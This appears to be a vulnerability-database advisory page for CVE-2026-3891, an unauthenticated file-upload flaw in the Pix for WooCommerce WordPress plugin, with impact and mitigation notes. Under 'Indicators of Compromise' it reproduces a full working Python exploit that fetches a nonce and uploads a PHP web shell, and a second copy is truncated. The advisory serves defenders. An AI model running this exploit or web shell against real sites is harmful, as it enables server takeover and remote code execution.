CVE-2026-3891: CWE-434 Unrestricted Upload of File with Dangerous Type in linknacional Pix for WooCommerce
The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
AI Analysis
Technical Summary
The Pix for WooCommerce WordPress plugin suffers from CWE-434 Unrestricted Upload of File with Dangerous Type in the 'lkn_pix_for_woocommerce_c6_save_settings' function. The vulnerability arises from the absence of capability checks and file type validation, allowing unauthenticated attackers to upload arbitrary files. This flaw affects all versions up to and including 1.5.0 and may lead to remote code execution on the affected server.
Potential Impact
An unauthenticated attacker can upload arbitrary files to the affected server, which may result in remote code execution. The vulnerability has a CVSS 3.1 base score of 9.8, indicating critical impact on confidentiality, integrity, and availability of the system.
Mitigation Recommendations
No patch or official fix is currently provided. Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict access to the plugin's settings and consider disabling or removing the plugin if not essential.
Indicators of Compromise
- exploit-code: # Exploit Title: WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload # Google Dork: N/A # Date: 2026-07-15 # Exploit Author: Mohammad Hossein Sadeghian # Vendor Homepage: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/ # Software Link: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/ # Version: <= 1.5.0 # Tested on: Ubuntu 22.04 LTS, Apache 2.4, PHP 8.2, WordPress 6.7 # CVE: CVE-2026-3891 import requests import sys def print_banner(): banner = r""" ____ __ _ __ __ / __ \________ ____ _____/ / / | / /__ / /_ / / / / ___/ _ \/ __ \/ __ / / |/ / _ \/ __/ / /_/ / / / __/ /_/ / /_/ / / /| / __/ /_ /_____/_/ \___/\__,_/\__,_/ /_/ |_/\___/\__/ Author: m4sh_wacker """ print(banner) def main(): print_banner() target = input("[?] Enter target URL: ").strip().rstrip("/") if not target.startswith(("http://", "https://")): target = "http://" + target ajax_url = f"{target}/wp-admin/admin-ajax.php" filename = "woocommerce.php" content = '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>' session = requests.Session() print("\n[*] Requesting nonce...") try: response = session.post( ajax_url, data={ "action": "lkn_pix_for_woocommerce_generate_nonce", "action_name": "lkn_pix_for_woocommerce_c6_settings_nonce" }, timeout=10 ) result = response.json() nonce = result["data"]["nonce"] print(f"[+] Nonce obtained: {nonce}") except Exception as e: print(f"[-] Failed to obtain nonce: {e}") sys.exit(1) print(f"[*] Uploading {filename}...") try: response = session.post( ajax_url, data={ "action": "lkn_pix_for_woocommerce_c6_save_settings", "_ajax_nonce": nonce }, files={ "certificate_crt_path": ( filename, content, "text/plain" ) }, timeout=10 ) result = response.json() if not result.get("success"): print("[-] Upload failed.") print(response.text) sys.exit(1) except Exception as e: print(f"[-] Upload error: {e}") sys.exit(1) uploaded_url = ( f"{target}/wp-content/plugins/" f"payment-gateway-pix-for-woocommerce/" f"Includes/files/certs_c6/{filename}" ) print("\n[+] File uploaded successfully!") print(f"[+] URL: {uploaded_url}") if __name__ == "__main__": main()
CVE-2026-3891: CWE-434 Unrestricted Upload of File with Dangerous Type in linknacional Pix for WooCommerce
Description
The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
CVSS v3.1
Score 9.8critical
Affected software
linknacional
Pix for WooCommerce
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The Pix for WooCommerce WordPress plugin suffers from CWE-434 Unrestricted Upload of File with Dangerous Type in the 'lkn_pix_for_woocommerce_c6_save_settings' function. The vulnerability arises from the absence of capability checks and file type validation, allowing unauthenticated attackers to upload arbitrary files. This flaw affects all versions up to and including 1.5.0 and may lead to remote code execution on the affected server.
Potential Impact
An unauthenticated attacker can upload arbitrary files to the affected server, which may result in remote code execution. The vulnerability has a CVSS 3.1 base score of 9.8, indicating critical impact on confidentiality, integrity, and availability of the system.
Mitigation Recommendations
No patch or official fix is currently provided. Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict access to the plugin's settings and consider disabling or removing the plugin if not essential.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- Wordfence
- Date Reserved
- 2026-03-10T16:35:27.271Z
- Cvss Version
- 3.1
- State
- PUBLISHED
Indicators of Compromise
Exploit Source Code
Exploit code for WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload
# Exploit Title: WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload # Google Dork: N/A # Date: 2026-07-15 # Exploit Author: Mohammad Hossein Sadeghian # Vendor Homepage: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/ # Software Link: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/ # Version: <= 1.5.0 # Tested on: Ubuntu 22.04 LTS, Apache 2.4, PHP 8.2, WordPress 6.7 # CVE: CVE-2026-3891 import requests import sys def print_banner(): banner = r... (2235 more characters)
Threat ID: 69b3c0802f860ef943a8ada4
Added to database: 03/13/2026, 07:45:04 UTC
Last enriched: 08/17/2026, 22:17:10 UTC
Last updated: 09/13/2026, 01:21:15 UTC
Views: 945
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.